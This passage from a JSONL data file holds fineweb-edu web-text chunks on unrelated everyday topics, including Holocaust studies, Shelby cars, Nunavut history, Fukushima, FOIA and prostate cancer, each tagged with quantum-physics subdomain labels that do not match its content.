achingly bare his maturation in the midst of a nazi camp. as founding director of the strassler center for holocaust and genocide studies at clark university, professor dwork has given shape to an exciting forum for education and scholarship about the holocaust, the armenian genocide, and other genocides around the world. dedicated to teaching, research, and public service, the center trains the holocaust historians and genocide studies scholars of the future \u2014 the next cadre of scholars, teachers, holocaust museum directors and curators, and non - government organization and government agency experts about genocide and genocidal situations. the mission of the strassler center for holocaust and genocide studies reaches beyond the boundaries of the university : to educate professionals of many fields about genocide and the holocaust, to provide a lecture series free of charge and open to the public, to use scholarship to address current problems stemming from the murderous past, and to engage the world by providing an educated voice in the public arena. deborah dwork has received many academic awards and honors. she has been, inter alia, a guggenheim fellow, a fellow at the woodrow wilson international center for scholars, and a fellow of the american council of learned societies. dwork currently serves on the american delegation to the international task force on holocaust education, remembrance, and research. still : she remains a staunch educator. in addition to university lecturing, she is a guest teacher throughout the united states in schools and at teacher workshops to further the holocaust education of those who were not trained in this period of history, and want to learn now. indeed, her book voices and views : a history of the holocaust,", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4745442799299276, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.606863"} {"text": "the shelby american car manufacturing company was founded by the world - renowned racing driver, carroll shelby. during the 1950s, he spent his life racing some of the fastest cars. a heart condition ended his motor sports career in 1960 and he turned his attention to manufacturing automobiles. his goal was to install an american engine into a british sports car. soon, shelby learned that ac motor cars limited of england needed a new engine supplier. the british company agreed to work with the ex - race car driver. shelby then approached the ford company and convinced a ford representative to send him two v8 engines. shelby paired the british sports car with the ford engine and test drove the vehicle in 1961 at england ' s silverstone racetrack. the car reached incredible speeds of 150 mph. in 1962, the ford company agreed to provide shelby with more engines so that shelby ' s new prototype would appear in the new york auto show. shelby painted the car yellow and christened it the cobra. the car was an instant hit at the auto show and was known as the fastest production sports car. dealers quickly began placing orders for the cobra. by 1965, shelby had manufactured the gt350. this particular car was a mustang and won the b production championship in 1965 and 1966. shelby continued to manufacture cars, eventually creating one of his most popular vehicles, the gt40. this particular car was designed to compete against the ferrari. after the introduction of the gt40, it went on to compete in le mans, an important racing competition. the gt40s famously finished first, second and third during this historic race. in 1967, the company manufactured the shelby gt 500. while previous shelby cars were designed primarily for racing, the gt500 was suitable for daily driving. the car featured a three - speed automatic or four - speed manual transmission. it also included e70x15 tires and standard front disc brakes. gt500s offered power steering, air conditioning and mustang gt - level interior trim. february 1970 signaled the end of shelby ' s association with ford. together they had built stylish, powerful vehicles that captivated people who loved fast cars. in 1996, shelby american manufactured updated versions of cobra 289 fia, cobra 427 s / c and cobra - component cars. it wasn ' t until 2004 that ford and shelby created a new partnership. during that particular year, the two companies collaborated on the ford gt. today, shelby cars continue to fascinate muscle car enthusiasts who expect excellence, beauty and speed. - fire damages philadelphia vintage vehicles - classic gt mustang refreshed -", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.3829754794432376, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.610733"} {"text": "rachel francis celebrates wales \u2019 record in incubating a treasury of sustainable enterprisemay 27th, 2012 at the top of cardiff \u2019 s city hall is a magnificent dragon sculpted in bronze by h. c. fehr. the dragon is an important part of wales \u2019 sense of identity, making the connection between the welsh people, their land, their culture and their ancestors. the word dragon probably comes from an old greek verb \u03b4\u03c1\u03b1\u03ba\u03b5\u03b9\u03bd ( drakein ) meaning \u2018 to see clearly \u2019. the welsh dragon appears in many stories, from the arthurian legends to the mabinogion and is used symbolically to represent the primal forces of nature. in mythology dragons are associated with wisdom and longevity and it is said that we were originally taught to speak by dragons. in short, dragons are a good symbol for sustainability. the story of sustainable development and indeed the story of unsustainable development, is the story of human civilization. but, for the purposes of this article, i start with recent history. in 1987, just over twenty years ago, the united nations released the brundtland report, which included what is today one of the most widely recognised definitions of sustainable development : \u201c sustainable development is development that meets the needs of the present without compromising the ability of future generations to meet their own needs. \u201d this definition contains within it two key concepts : \u2018 needs \u2019 and \u2018 limitations \u2019, and the active word is development, not growth. it is a catastrophe that, despite brundtland, despite the 1992 rio earth summit, despite the kyoto protocol, despite science, and despite the universal declaration of human rights, many powerful human organisations, with supreme detachment, are denying climate change. they are also turning a blind eye to social injustice and seeking to redefine sustainability to suit their own ends. as a result, the \u2018 economic \u2019 requirement of financial sustainability comes before social justice and before the actual environment. the slight twist to the truth comes from a clever use of words : business as usual. which is why so - called \u2018 green capitalism \u2019 has a ring of hopelessness about it. yet, if today \u2019 s \u2018 leaders ; don \u2019 t have the strength and imagination to drive through true sustainability, responding effectively to human needs and the world \u2019 s limitations, then others do. right across the world, amongst communities of interest and communities of place, the concept of what a truly sustainable society might look like has been incubated, debated, tried and tested. the concept of a steady state or circular economy has grown", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4632054533727682, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.618579"} {"text": "do. right across the world, amongst communities of interest and communities of place, the concept of what a truly sustainable society might look like has been incubated, debated, tried and tested. the concept of a steady state or circular economy has grown alongside new democratic and transitional ways of living, ways of doing business, ways of connecting. the answers for today \u2019 s social, environmental and economic problems exist. combining the wonders of modern science and technology with the old wisdom of our ancestors and forebears who worked with the land, we now have a truly sustainable vision. it is not capitalism, but neither is it communism. it is something else. the national assembly was formed in the years following rio 1992 and very much grew out of local agenda 21. in 2009 the scheme one wales : one planet provided leadership and direction for the embedding of sustainable approaches throughout wales. as jonathon porritt of the sustainable development commission said at the time : \u201c wales may well be close to the goldilocks ( just right ) scale for leading on sustainable development. \u201d in today \u2019 s wales a vibrant network of family farms, small businesses and other enterprises that form part of the fabric of welsh community are threatened by the march of global businesses associated with the \u2018 growth \u2019 economy. even so, the \u2018 trickle - down \u2019 of corporate business based in centres from london to new york to dubai is, indeed, a very small trickle by the time it reaches wales. and that is quite aside from a double dip recession. nonetheless, wales is rich in vital resources such as clean fresh water, agricultural land and renewable energy sources. it is also rich in pioneering spirit, from the centre of alternative technology to 70 per cent recycling and industrial sized resource recovery. indeed, wales has been incubating a treasury of sustainable enterprise. ask a welsh farmer : growth is cyclical. the notion of a circular or steady state economics has its roots in industrial ecology, a theory first developed by environmental academics in the 1970s and still used today. it involves remodelling industrial systems along lines of ecosystems, recognizing the efficiency of resource cycling in the natural environment. and to be truly sustainable, it needs to work alongside open democracy in all sectors and that means new legislation \u2026 a sustainability bill for example. this june, at rio + 20 the mythic battle between the outmoded ruling dragon of capitalism / growth and the eager young sustainable dragon will continue to play out on a global stage. the outcome is not clear. without a country coming forward to take the lead", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4925341464819254, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.619606"} {"text": "japan \u2019 s nuclear crisis explained : a sampler the crippled fukushima nuclear plant as of march 15, 2011. credit : daveeza / flickr difficult though it is to believe, the massive earthquake and tsunami that devastated northeast japan happened less than a week ago. it would have been even harder to believe, when the first damage reports began rolling in, that the quake and tsunami would have taken a backseat in the headlines to the worst nuclear accident since chernobyl, whose 25th anniversary is coming next month. in fact, there ' s still a distinct possibility that the fukushima disaster will surpass chernobyl and three mile island to become the worst nuclear disaster in history ( if you discount hiroshima and nagasaki, of course ). getting a handle on exactly what ' s happening at fukushima is difficult, for a couple of reasons. first, nobody can actually get inside the plants to inspect the damage close - up. it ' s simply too dangerous. second, japanese officials haven ' t been very good at providing what information they do have. and third, the situation keeps changing, day - to - day and even hour - to - hour. nevertheless, a number of news and other organizations have quickly put together some useful resources that can help us understand something of what ' s happening at fukushima, and what could happen next. for an up - to - date timeline of the disaster, for example, check out this wikipedia page. the new york times has, as always, compiled a wealth of information. they ' ve posted a graphic showing how a plume of radioactivity released from the plant is likely to spread ( this graphic does not include information about actual radiation levels ; only about wind patterns ). the times also has an excellent page showing the current status of each of the six reactors at fukushima, which is updated daily. and there ' s an interactive graphic showing how a reactor shuts down and \u2014 if things spin out of control, as they may now be doing \u2014 how it melts down. there ' s also an excellent multipart series of graphics at the washington post that lays out almost anything you ' d care to know about the disaster, from information about the reactors themselves to evacuation plans and more. the u. k. ' s guardian website has a terrific multimedia explainer starring reporter ian sample on video, with all sorts of supplementary material. and finally, slate comes at the story from its usual different angle by providing a worldwide interactive map of where, when and how powerfully tsunamis have struck the world since", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.48730550791650584, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.622434"} {"text": "our wetlands, our world : our wetlands, our world high school activity guide to upper newport bay our wetlands, our world provides information and activities to help high school students learn about the importance of wetlands and to become involved in the restoration of these valuable, unique environments. it also helps bring state content standards to life by linking science concepts to local resources. the focus of the guide is on upper newport bay in orange county ; however, much of the information is applicable to other wetland sites. - entire guide ( 9. 5 mb ) - introduction, contents ( 335 kb ) - watersheds and wetlands unit ( 1. 3 mb ) - human impacts unit ( 5. 6 mb ) - taking action unit ( 1. 1 mb ) - appendices ( 2. 4 mb ) upcoming workshops for educators ( please note that workshops are currently only being held in orange county. ) if you would like to participate in an orientation workshop for our wetlands, our world, please send an e - mail to email @ example. com which includes your contact information, as well as the name of your school or program and the grade level that you teach. please check back here for announcements of future trainings. coastal restoration at upper newport bay hands - on ecological restoration activities are available in the upper newport bay through the california coastal commission ' s community - based restoration and education program. depending on the time of year, students can participate in installing native plants, removing invasive weeds, mulching and watering previously installed native plants, collecting seeds or transplanting seedlings in our native plant nursery. these activities are the perfect complement to our wetlands, our world to enhance your students ' learning experience. for more information, please visit the program ' s home page. to sign up your class for a restoration work day, please contact matt yurko at firstname. lastname @ example. org. extensions and resources - learn about coastal restoration at upper newport bay. - take part in coastal cleanup day. - adopt a beach. - check out our \" for youth \" page for web - based activities. - browse the marine, coastal & watershed resource directory for educational resources and for volunteer and internship opportunities. - visit our \" how can i help? \" web page. - take the coastal stewardship pledge. - for advanced students, use a webpage of the national oceanic and atmospheric administration ' s coastal services center to investigate three alternatives for developing a coastal site. the scenarios presented allow students to explore the specifics of each development plan and to consider the environmental and economic consequences", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4663911924624857, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.625320"} {"text": "this archived web page remains online for reference, research or recordkeeping purposes. this page will not be altered or updated. web pages that are archived on the internet are not subject to the government of canada web standards. as per the communications policy of the government of canada, you can request alternate formats of this page on the contact us page. entered confederation : 1999 the earliest people to inhabit the region now known as nunavut were the tuniit ( dorset ) people, believed to have crossed the bering strait - - then a land bridge - - from russia, approximately 5, 000 years ago. the tuniit were the sole occupants of the land until about 1, 000 years ago, when the thule, the ancestors of today ' s inuit, began appearing in the area. the thule, who eventually displaced the tuniit, relied on whales as their main source of food and necessities, and had a trading relationship with the norse through which they acquired metal tools. about 500 years ago, for unknown reasons, the thule abandoned the high arctic and their whaling ventures for the smaller living groups and the caribou and seal hunts that characterized the inuit way of life at the time of european expansion into the canadian arctic. the inuit ' s early contact with europeans, other than the norse, was probably with the basque and portuguese whalers working off newfoundland and labrador shores. as well, there were the explorers who sought the northwest passage. both groups had minimal influence on the inuit way of life. the whalers were integrated into the barter system of trade that the inuit had already established, and the explorers tended not to stay in the arctic for extended periods of time. europeans began exerting a more long - lasting influence in the arctic with the formation of the hudson ' s bay company ( hbc ) in 1670. rapidly establishing a commercial network throughout the arctic, the hbc relied on the inuit to supply furs and hides in return for tools and food. this caused substantial changes in inuit culture : on one level, the focus shifted from hunting entirely for food, clothing, and other needs, to supplying outsiders with desirable goods. traditional trade and migration patterns were altered, as the inuit began trading almost exclusively with the hbc, abandoning their seasonal migrations to remain near trading posts. this influence continued into the twentieth century. when the canadian government began asserting its sovereignty over the arctic, the hbc acted as a de facto government agency. unfortunately, when the fur market collapsed in the 1930s, the inuit were left", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.46372161600853035, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.638735"} {"text": "near trading posts. this influence continued into the twentieth century. when the canadian government began asserting its sovereignty over the arctic, the hbc acted as a de facto government agency. unfortunately, when the fur market collapsed in the 1930s, the inuit were left without the means to continue a way of life to which they had grown accustomed. the years during and following world war ii brought even more disruption. the war had exposed the inuit ' s economic situation to many in the south for the first time and other nations criticized canada for not providing enough assistance. as a result of this pressure, the canadian government made the inuit wards of the state in 1941. then, in the 1950s, the government relocated many of the inuit to centralized villages, in areas where they would supposedly have a greater degree of prosperity, an action that may also have been meant to solidify canadian sovereignty in the arctic by spreading the population throughout the area. children were taken from their families and placed in residential schools. not only did these actions force the inuit to rely almost totally upon others for their livelihood, they seriously injured the traditional social structure by breaking up families, or by forcing them to relocate. various social programs, while well intentioned, also fostered dependence. the government, which administered the area directly from ottawa, was perceived as distant and out of touch with northern concerns. exploration of the natural resources in the arctic was conducted with little, if any, consultation with the inuit who lived on the land. developers traversed the area in various vehicles, sunk wells, and dug mines without considering the environmental effects of their actions. there was a change in the system of government in 1967 with the establishment of the territorial government at yellowknife, but in reality there was little difference to the people. although yellowknife was closer than ottawa, its location in the western arctic was still perceived as remote by those in the eastern half of the territory. the government itself was dominated by people who were more interested in transferring the southern style of government to the north, than in adapting it to the needs and circumstances of the region. interestingly, an early attempt at territorial division was discussed just prior to the transfer of government, during the period between 1959 and 1963, when the territorial council contemplated creating the mackenzie territory. the motivation for this was more economic than socio - political ; those who supported division felt that the more populous and diverse western half of the northwest territories ( nwt ) would develop more quickly if separated from the eastern half. neither the opinions of the inuit, nor indeed those of anyone", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.501075687310522, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.639787"} {"text": "economic than socio - political ; those who supported division felt that the more populous and diverse western half of the northwest territories ( nwt ) would develop more quickly if separated from the eastern half. neither the opinions of the inuit, nor indeed those of anyone from the eastern arctic, were considered. still, the campaign for division progressed far enough that in 1963 federal legislation was introduced to create the territories of mackenzie ( western nwt ) and nunassiaq ( eastern nwt ). the matter stalled, however, when it became clear that the idea was not supported in the eastern nwt, and had only scant support in the western nwt ; the legislation died with the dissolution of parliament in 1963. in the aftermath of this debate, the carrothers commission of 1966 concluded that while division was probably inevitable, discussion of the idea should be delayed for ten years. the commission also stated that the inuit would be isolated, with little if any political power, if division were carried out in the wrong way. there were several cases in 1973 that brought the concept of aboriginal land title and rights to national prominence. one of these was the \" calder case \", a grievance brought by the nishga indians of northwestern british columbia against the provincial government. this case was the first to use the terms \" aboriginal rights \" and \" land claim, \" acknowledging that aboriginals did have some original claim to land, albeit in a narrow sense. the inuit and cree of northern quebec also began their grievance ( reaching a settlement in 1975 ) against the james bay hydroelectric project, which they claimed was in violation of their aboriginal rights. as well, the dene of the western arctic were given leave to file an aboriginal claim in the nwt. these cases demonstrated to the inuit the possibility of success in making their own such claim in the eastern arctic. the early 1970s also saw the creation of the inuit tapirisat of canada ( itc ), formed in 1971 from a meeting of native leaders at coppermine, nwt, with tagak curley as its founding president. the first conference, held at carleton university in ottawa, brought together thirty delegates from all regions of the nwt, as well as inuit from quebec and labrador. the itc would become an important force in the quest for nunavut. the itc was in fact heavily involved in the preparation of the first inuit claims proposal, submitted to the federal government in 1976. it proposed not only a land claim, but also the creation of a new territory, suggesting a new form of", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4884776867894069, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.640729"} {"text": "it outlined a fifteen - year schedule for achieving this goal. the same meeting was attended by a federal representative, marking one of the first times that the federal government actively solicited inuit opinions on constitutional change. another landmark year for the nunavut claim was 1982. at the national level, it saw the patriation of the constitution, which included a clause protecting aboriginal land claims. at the territorial level, the recommendations made two years earlier by the committee examining division were acted on and a plebiscite was held on the question. though there was only a moderate voter turnout, 56 % of those who did vote were in favour of division ; moreover, in the eastern arctic, where the inuit population was highest, the percentage in favour of division was around 80 %. the plebiscite campaign saw the formation of the constitutional alliance of the northwest territories ( ca ). after the results of the vote were known, the ca agreed to create two forums, intended to provide a medium for formal debate and planning : the nunavut constitutional forum ( ncf ) for the eastern arctic, and the western constitutional forum ( wcf ) for the western, with the ca acting as moderator. at the same time, the tungavik federation of nunavut ( tfn ) was formed to pursue actual claims negotiation, taking over these duties from the nlcp. the ncf began meeting in september of 1982 ; all proceedings were open, with the media having full access. among its activities were the production of a \" history \" of nunavut, and many studies about matters affecting its creation. within a year, the ncf had drafted a comprehensive working proposal, entitled \" building nunavut. \" a revised and expanded edition followed two years later. early successes with negotiations included agreements on an inuit role in wildlife management ( reached in 1981 ), on offshore rights, and on a wide - ranging resource management system that included a prominent role for inuit in the decision - making process. there were difficult areas, however ; one of these was the negotiation of a boundary. although inuit lived primarily in the eastern arctic, and the dene - metis in the western arctic, there were overlapping areas in the central part of the territory where both claimed traditional rights. a tentative agreement, endorsed by both the ncf and wcf, was reached in 1985 ; however, it fell apart at the last minute when the dene - metis refused to ratify it. a similar fate befell the iqaluit agreement of 1987. finally, john parker,", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4501206361793382, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.642820"} {"text": "ncf and wcf, was reached in 1985 ; however, it fell apart at the last minute when the dene - metis refused to ratify it. a similar fate befell the iqaluit agreement of 1987. finally, john parker, a former territorial commissioner, was appointed to decide on a boundary in 1991. though this proposed line was also disputed, it was passed in a territory - wide plebiscite with a narrow majority. the concept of nunavut itself also presented difficulties. the inuit were adamant that it be incorporated directly into the claims agreement, as an embodiment of aboriginal rights. federal representatives, on the other hand, stated that it was inappropriate to use an aboriginal land claim to create a public government that was meant to serve all people, including the white minority, within the proposed territory. a compromise was reached by including a clause in the claim. this clause committed the government to negotiating a political accord that would provide for the creation of the new territory, without actually making division part of the claim. an agreement - in - principle was finally reached in 1990, a final version of which appeared in december of 1991. members of both the tfn and federal negotiating teams signed this document, the \" nunavut land claims agreement \" ( nlca ), in september of 1992. it was then put to a plebiscite in october of 1992, and saw a record turnout of voters. the agreement passed the plebiscite with an overwhelming majority of 84. 7 %. once past this hurdle, matters moved quickly. the nunavut land claims agreement act, ratifying the agreement, and the nunavut act [ laws. justice. gc. ca / en / n - 28. 6 / index. html ], which created the new territory, were both passed on june 10, 1993. after ratification of the two acts in 1993, attention turned towards implementation ; a deadline of april 1, 1999 had been fixed for the completion of all arrangements. jack anawak was appointed interim commissioner of nunavut. the nunavut implementation commission ( nic ) formed to undertake planning for the new government ; it was a nine - member committee, overseen by chief commissioner john amagoalik. to ensure the integrity of the nlca, nunavut tunngavik incorporated ( nti ) was created, with jose kusugak as its president. it assumed what had previously been the responsibilities of the tfn. both organizations had much to do in a relatively short span of", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4418489105121481, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.643739"} {"text": "nunavut tunngavik incorporated ( nti ) was created, with jose kusugak as its president. it assumed what had previously been the responsibilities of the tfn. both organizations had much to do in a relatively short span of time, and had to face many challenges : a vast territory to cover, new departments to create, and employees to train. added to these were the desire to decentralize the new government as much as possible, and the commitment to employing a percentage of inuit representative of the general population. an election also had to be held in order to choose the nineteen members of the new legislative assembly ; this took place on february 15, 1999. after the election, the new members chose paul okalik as their premier. on march 26 of that year, helen maksagak was appointed as the first commissioner of nunavut by the federal government. as with the ratification of the nunavut act in 1993, the actual birth of nunavut on april 1, 1999 became an international news story. parties, speeches, fireworks, traditional inuit games and dances, and other activities marked the occasion. cameron, kirk ; white, graham. - - northern governments in transition : political and constitutional development in the yukon, nunavut, and the western northwest territories. - - montreal : institute for research on public policy, 1995. - - 151 p. jull, peter. - - an aboriginal northern territory : creating canada ' s nunavut. - - [ casuarina, n. t. : australian national university, north australia research unit ], 1992. - - 39 p. merritt, john et al. - - nunavut : political choices and manifest destiny. - - ottawa : canadian arctic resources committee, 1989. - - 126 p. the nunavut handbook 1999. - - ed. marion soubliere. - - iqaluit : nortext multimedia inc., 1999. - - [ 414 p. ]. nunavut ' 99 : changing the map of canada : the birth of a territory fulfills a dream. - - ed. marion soubliere ; greg coleman. - - iqaluit : nortext multimedia inc., 1999. - - 131 p. purich, donald. - - the inuit and their land : the story of nunavut. - - toronto : james lorimer & co., 1992. - - 126 p.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.39471594034844576, "token_count": 496, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.644585"} {"text": "how child hunger affects children and their families child hunger kills nearly 16, 000 children a day. that ' s one child every 5 seconds who dies from child hunger. for those who live, more than 300 million children go to bed hungry every night. rising food prices and an escalating global food crisis is creating more child hunger. worldwide, one person in seven goes to bed hungry every night. child hunger can be eliminated child hunger doesn ' t have to continue. compassion ' s church - based program fights child hunger through sponsorship. one of the best ways to fight child hunger is to sponsor a child through compassion. when you sponsor a child, you defeat child hunger because sponsorship helps children receive adequate nutrition. child hunger escalating your help to end child hunger is needed now more than ever. the current global food crisis is being called by many a \" silent tsunami \" that could plunge millions more children into child hunger. food prices have doubled in some countries since 2006. many of the countries compassion serves are among those hit hard by rising food prices. you can help a child affected by child hunger by sponsoring a child today. as a new sponsor, you ' ll receive your child ' s photo, personal story and a complete child sponsorship packet by mail. fact sources : www. one. org, www. bread. org, www. unicef. org, www. who. int, www. unep. org", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.3962635444646456, "token_count": 285, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.648561"} {"text": "santa cruz \u2014 hopping on a bumper car and setting the gps destination to outer space, \" toy story \" character buzz lightyear would have been thrilled by a scene at the santa cruz beach boardwalk. a science channel tv crew and ucsc astronomy professor greg laughlin were equally excited friday morning, using the speed bump ride as a visual analogy to illustrate the concept of gravity assist in outer space. the crew approached laughlin and the santa cruz boardwalk to shoot an episode of \" through the wormhole. \" hosted by morgan freeman, the series explores scientific questions. the episode \" can we outlive the sun? \" is expected to air in the show ' s fourth season in 2013. \" in billions of years, the sun will get so bright and luminous that life on earth will be in big trouble, \" laughlin said. to preserve life forms, humans would have to find a way for earth to move away from the sun by expanding the orbit, laughlin said. that ' s where asteroids, gravity and the boardwalk ' s bumper cars come in. \" you could cause our planet to slowly expand its orbit by having asteroids flying by the earth hundreds of thousands of times, \" laughlin said. \" this is what i ' m showing when i ' m driving around our little earth with my magnet. \" using a metal reproduction of the earth, a yellow beach ball for the sun and a red magnet, laughlin and camera operators rode bumper cars, circling their miniature solar system to mimic asteroids. in real space, this merry - go - round action produces a double effect, laughlin explained. because of gravity, the mass of the asteroid entering in our orbit produces a force that slightly pulls the earth forward, causing our planet to expand the trajectory of its orbit. simultaneously, gravity forces the asteroid to deviate from its trajectory while gaining speed. this latter phenomenon, used by scientists as a \" gravity assist \" to speed spacecrafts, is ultimately the most interesting part, laughlin said. \" whether we can outlive the sun is the last thing we need to worry about. we don ' t have the technology to control asteroids and this won ' t be an issue before a billion years, \" laughlin said. \" it ' s a just a dramatic way of showing how gravity assist works. \" nasa sent its spacecraft new horizons in jupiter ' s orbit and it gave it a huge boost on its trip to pluto, laughlin said. \" that will enable us to discover how pluto looks like years ahead of schedule. \" the boardwalk provided", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5387511700166792, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.652883"} {"text": "as a contractor, you are only as good as your last job. so being able to find information quickly and easily is an important skill. the following list of engineering resources in the form of charts, tables, graphs, definitions and links will hopefully make life easier. if you would like to see a particular topic added to the toolbox then let us know - select the link at the bottom of the page. ascii character table the basic ascii character table for numbers 0 to 127. eu directive 94 / 9 / ec, compliance and equipment markings. the selection and sizing of cable glands. ce marks and their application. control of substances hazardous to health regulations 2002. formulas relating to electric motors electronic wire and cable stranding, diameters & areas of copper electronic wire & cable. glossary of general engineering terms and acronyms glossary of nuclear terms and acronyms classification of hazardous areas and comparison of standards hazid studies and hazid study guide words hazop studies and hazop study guide words the practice of removing and replacing or freeing and re - tightening bolts on live piping and equipment hydraulic fluid cleanliness - use of current standards comparison of iso and nas cleanliness classes rough guide to the meaning of the 13 incoterms. ingress protection ratings ip codes, and comparisons with nema system. machineability of materials points to note when cutting. pipe flange dimensions for common sizes and ratings. common terms for surface roughness of flange mating faces. pipe schedules, wall thickness and weights. polarisation index of electric windings use of polarization index for ac & dc drives and generators. power factor correction power factor definition, calculation and correction techniques. selection, installation & use of bourdon tube pressure gauges. pump affinity laws affects of changing pump speed on flow rate, head and power. relief valve orifice sizes api standard relief valve orifice sizes the 7 base units and the derived units defined and explained. form decimal multiples and submultiples of si units. safety integrity ratings sil ratings and how to determine them. grades of stainless steels, their compositions and properties. straight length requirements straight lengths needed & installation notes for vortex flow meters stud and nut sizes stud diameters & corresponding nut sizes in metric & imperial. temp class for hazardous area products - european & us standard combinations of metals and their measuring ranges on line conversion between all units of temperature. valve leakage classes and testing explained. limits to the location of nozzles on vessels. definitions, units", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5392441059217752, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.656656"} {"text": "in 1966, foia was passed but it was not enforceable. amendments dealing with how to make it practical were added in 1974 after a long debate in congress. in the 80s, another debate emerged about weakening foia in the reagan administration. and now, in 2005, there is yet another debate concerning the future of the act and how weak or strong it needs to be. \" weak \" is not a word that seems to fit with the roots of the united states. our roots are strong and run deep and so should the act that protects the public from behind - the - scenes decisions. foia is corruption ' s worst enemy. governing bodies will always do a small amount of conversing about business in the absence of the public. it is the nature of the system. taxpayers and journalists have to accept that fact, however. in theory, if public topics come up in a casual conversation, public servants should halt the conversation or talk about anything but business. foia is an imperative tool in how the media watches taxpayer ' s money. when elected officials gather for a meeting, tax dollars are at work. when decisions are made, tax dollars are definitely at work. we have the right to know where and how our money is spent. the system is built on people, and people aren ' t perfect. maintaining the current foia will prove to be beneficial to the public. rules and regulations are in effect for a reason. all journalists aim to get their hands on the real story and foia is an important tool in that journey. the people have more to loose through a weakened foia than the media. if we begin to loosen the hold foia has on the flow of legal information, you will see more private meetings, hidden agendas and corruption will become evident. newspapers will battle for foi, but we ' re fighting for the people because we know how much they have to lose. we know first - hand how hard it would be to publish news that influences our readers ' lives without it. leave foia alone. a watered - down foia would be a step in the wrong direction. taxpayers deserve to know, and foia sets the stage for the public to see the show. they are paying for it. shouldn ' t they at least get a seat in the theater?", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.46549374963748025, "token_count": 463, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.659011"} {"text": "prostate cancer forms in the tissue of the prostate gland which is approximately the size of a walnut and found below the bladder and in front of the rectum. there are approximately 250, 000 new cases each year with approximately 35, 000 patients dying of the disease annually. prostate cancer is the third most common cause of death from cancer in men of all ages and the most common cause of death in men over the age of 75. known risks for prostate cancer include race with african - american men being more likely to develop prostate cancer. another risk factor is age, men who are older than 60 are at increased risk. family history is also a risk factor, in particular patients with a father or brother diagnosed with prostate cancer. most patients with prostate cancer have no definitive symptoms when it is caught at early stages. testing for prostate cancer includes an annual prostate specific antigen test ( psa ) as well as a digital rectal exam to assess the prostate. some signs of advancing prostate cancer are also signs of benign growth within the prostate gland including : weakened urinary stream, difficulty evacuating the bladder, blood in urine or semen, and pelvic pain or bone pain once the disease has progressed. there are multiple treatment options for prostate cancer which are best discussed with your urologist. however, these can include observation, hormonal ablation, cryosurgery, chemotherapies, high intensity focused ultrasound ( hifu ), external beam radiation therapy, prostate seed implant, radical prostate surgery including : traditional surgery, laparoscopic surgery as well as da vinci robotic - assisted prostatectomy, occasionally requiring removal of lymph nodes as well. the most common type of kidney cancer in adults is renal cell carcinoma primarily diagnosed between the ages of 50 and 70 years of age with no exact cause identified. some factors can increase the risks of kidney cancer including : dialysis treatment for kidney failure, family history of renal cell carcinoma, high blood pressure, congenital abnormalities of the kidneys, polycystic kidney disease, and smoking. although most kidney cancers are found incidentally on radiologic imaging for other reasons, kidney cancers can include some symptoms such as abdominal pain, flank pain, blood in the urine, weight loss, and constipation. radiologic imaging can easily diagnose most kidney tumors including renal ultrasound or abdominal ct scan traditionally performed to evaluate the kidney as well as mri ' s and multiple other radiologic imaging. treatment for kidney cancer typically includes removal of the kidney which was performed in the past using", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4860223481252962, "token_count": 512, "source_dataset": 